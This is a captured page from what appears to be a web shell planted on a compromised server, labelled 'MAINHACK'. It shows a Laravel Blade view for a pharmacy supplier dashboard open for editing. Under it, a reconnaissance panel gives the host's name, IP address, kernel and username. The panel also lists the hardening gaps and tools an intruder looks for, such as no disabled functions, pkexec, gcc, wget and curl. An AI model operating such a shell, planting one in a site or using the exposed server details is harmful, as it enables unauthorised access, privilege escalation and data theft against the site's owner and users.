[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: view.blade.php
@extends('layouts.app') @section('title', $customer->name) @section('custom-css') <link rel="stylesheet" type="text/css" href="{{ asset('dashboard/app-assets/vendors/css/pickers/flatpickr/flatpickr.min.css') }}"> <link rel="stylesheet" type="text/css" href="{{ asset('dashboard/app-assets/css/plugins/forms/pickers/form-flat-pickr.min.css') }}"> <link rel="stylesheet" type="text/css" href="{{ asset('dashboard/app-assets/vendors/css/tables/datatable/dataTables.bootstrap5.min.css') }}"> <link rel="stylesheet" type="text/css" href="{{ asset('dashboard/app-assets/vendors/css/tables/datatable/responsive.bootstrap5.min.css') }}"> <link rel="stylesheet" type="text/css" href="{{ asset('dashboard/app-assets/vendors/css/tables/datatable/buttons.bootstrap5.min.css') }}"> <link rel="stylesheet" type="text/css" href="{{ asset('dashboard/app-assets/vendors/css/tables/datatable/rowGroup.bootstrap5.min.css') }}"> @endsection @section('content') <section class="app-user-view-account"> <div class="row"> <!-- User Sidebar --> <div class="col-xl-4 col-lg-5 col-md-5 order-1 order-md-0"> <!-- User Card --> <div class="card"> <div class="card-body"> <div class="user-avatar-section"> <div class="d-flex align-items-center flex-column"> <img class="img-fluid rounded mt-3 mb-2" src="{{ asset('dashboard/app-assets/images/portrait/small/avatar-s-11.jpg') }}" height="110" width="110" alt="User avatar" /> <div class="user-info text-center"> <h4>{{ $customer->name }} </h4> <span class="badge bg-light-secondary">{{ translate('common.supplier') }}</span> </div> </div> </div> <div class="d-flex justify-content-around my-2 pt-75"> <div class="d-flex align-items-start me-2"> <span class="badge bg-light-primary p-75 rounded"> <i class="fas fa-exchange"></i> </span> <div class="ms-75"> <h4 class="mb-0">{{ $invoice->sum('total_price') }} {{ Auth::user()->shop->currency }}</h4> <small>{{ translate('common.total_buy') }}</small> </div> </div> @php $due = \App\Models\Balance::where('shop_id', Auth::user()->shop_id) ->where('supplier_id', $customer->id) ->sum('due'); @endphp <div class="d-flex align-items-start"> <span class="badge bg-light-danger p-75 rounded"> <i class="fas fa-exclamation-triangle"></i> </span> <div class="ms-75"> <h4 class="mb-0">{{ $due }} {{ Auth::user()->shop->currency }}</h4> <small>{{ translate('common.total_due') }}</small> </div> </div> </div> <h4 class="fw-bolder border-bottom pb-50 mb-1">{{ translate('common.details') }}</h4> <div class="info-container"> <ul class="list-unstyled"> <li class="mb-75"> <span class="fw-bolder me-25">{{ translate('common.name') }}:</span> <span>{{ $customer->name }}</span> </li> <li class="mb-75"> <span class="fw-bolder me-25">{{ translate('common.phone') }}:</span> <span>{{ $customer->phone }}</span> </li> <li class="mb-75"> <span class="fw-bolder me-25">{{ translate('common.total_purchase') }}:</span> <span>{{ $invoice->count() }}</span> </li> <li class="mb-75"> <span class="fw-bolder me-25">{{ translate('common.total_tranasction') }}:</span> <span>{{ $transaction->count() }}</span> </li> <li class="mb-75"> <span class="fw-bolder me-25">{{ translate('common.total_buy') }}:</span> <span>{{ $invoice->sum('total_price') }} {{ Auth::user()->shop->currency }}</span> </li> <li class="mb-75"> <span class="fw-bolder me-25">{{ translate('common.total_paid') }}:</span> <span>{{ $transaction->sum('amount') }} {{ Auth::user()->shop->currency }}</span> </li> <li class="mb-75"> <span class="fw-bolder me-25">{{ translate('common.address') }}:</span> <span>{{ $customer->address }}</span> </li> </ul> </div> </div> </div> <!-- /User Card --> </div> <!--/ User Sidebar --> <!-- User Content --> <div class="col-xl-8 col-lg-7 col-md-7 order-0 order-md-1"> <!-- Project table --> <div class="card"> <div class="card-body border-bottom"> <h4 class="card-header">{{ translate('common.purchase_history') }}</h4> <div class="row"> <form method="get"> <div class="col-md-5 user_role"> <label class="form-label" for="UserRole">{{ translate('common.from_date') }}</label> <input type="text" name="form" class="form-control invoice-edit-input date-picker flatpickr-input" readonly="readonly"> </div> <div class="col-md-5 user_plan"> <label class="form-label" for="UserPlan">{{ translate('common.to_date') }}</label> <input name="to" type="text" class="form-control invoice-edit-input date-picker flatpickr-input" readonly="readonly"> </div> <div class="col-md-2 user_status"> <button class="dt-button add-new btn btn-primary" tabindex="0" aria-controls="DataTables_Table_0" type="submit"> <span>{{ translate('common.filter') }}</span> </button> </div> </form> </div> </div> <div class="table-responsive"> <table class="table datatable-project"> <thead> <tr> <th>{{ translate('common.sn') }}</th> <th>{{ translate('common.invoice_no') }}</th> <th>{{ translate('common.total') }}</th> <th>{{ translate('common.total_due') }}</th> <th>{{ translate('common.option') }}</th> </tr> </thead> </table> </div> </div> <!-- /Project table --> <!-- User Content --> <div class="col-xl-12 col-lg-7 col-md-7 order-0 order-md-1"> <!-- Project table --> <div class="card"> <div class="card-body border-bottom"> <h4 class="card-header">{{ translate('common.medicines') }}</h4> </div> <div class="table-responsive"> <table class="table datatable-medicines"> <thead> <tr> <th>{{ translate('common.sn') }}</th> <th>{{ translate('common.name') }}</th> <th>{{ translate('common.qty') }}</th> <th>{{ translate('common.option') }}</th> </tr> </thead> </table> </div> </div> <!-- /Project table --> </div> <!--/ User Content --> </div> </div> </section> @endsection @section('custom-js') <!-- BEGIN: Page Vendor JS--> <script src="{{ asset('dashboard/app-assets/vendors/js/pickers/flatpickr/flatpickr.min.js') }}"></script> <script src="{{ asset('dashboard/app-assets/vendors/js/tables/datatable/jquery.dataTables.min.js') }}"></script> <script src="{{ asset('dashboard/app-assets/vendors/js/tables/datatable/dataTables.bootstrap5.min.js') }}"></script> <script src="{{ asset('dashboard/app-assets/vendors/js/tables/datatable/datatables.buttons.min.js') }}"></script> <script src="{{ asset('dashboard/app-assets/vendors/js/tables/datatable/jszip.min.js') }}"></script> <script src="{{ asset('dashboard/app-assets/vendors/js/tables/datatable/pdfmake.min.js') }}"></script> <script src="{{ asset('dashboard/app-assets/vendors/js/tables/datatable/vfs_fonts.js') }}"></script> <script src="{{ asset('dashboard/app-assets/vendors/js/tables/datatable/buttons.html5.min.js') }}"></script> <script src="{{ asset('dashboard/app-assets/vendors/js/tables/datatable/buttons.print.min.js') }}"></script> <script src="{{ asset('dashboard/app-assets/vendors/js/tables/datatable/dataTables.rowGroup.min.js') }}"></script> <script src="{{ asset('dashboard/app-assets/js/scripts/pages/app-invoice.min.js') }}"></script> <!-- END: Page Vendor JS--> <script> $(function() { var table = $('.datatable-project').DataTable({ processing: true, serverSide: true, @if (request()->get('from') && request()->get('to')) ajax: { url: "{{ route('supplier.view', $customer->id) }}", data: function(d) { d.from = {{ request()->get('from') }}, d.to = {{ request()->get('to') }}, d.purchases = "{{ translate('common.supplier') }}", } }, @else ajax: { url: "{{ route('supplier.view', $customer->id) }}", data: function(d) { d.purchases = "{{ translate('common.supplier') }}" } }, @endif columns: [{ data: 'id', name: 'id' }, { data: 'batch_id', name: 'batch_id' }, { data: 'total_price', name: 'total_price' }, { data: 'due_price', name: 'due_price' }, { data: 'action', name: 'action', orderable: false, searchable: false }, ], dom: 'Bfrtip', buttons: [ 'copyHtml5', 'excelHtml5', 'csvHtml5', 'pdfHtml5' ] }); }); $(function() { var table = $('.datatable-medicines').DataTable({ processing: true, serverSide: true, ajax: "{{ route('supplier.view', $customer->id) }}", columns: [{ data: 'id', name: 'id' }, { data: 'name', name: 'name' }, { data: 'stock', name: 'stock' }, { data: 'action', name: 'action', orderable: false, searchable: false }, ], dom: 'Bfrtip', buttons: [ 'copyHtml5', 'excelHtml5', 'csvHtml5', 'pdfHtml5' ] }); }); </script> @endsection
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002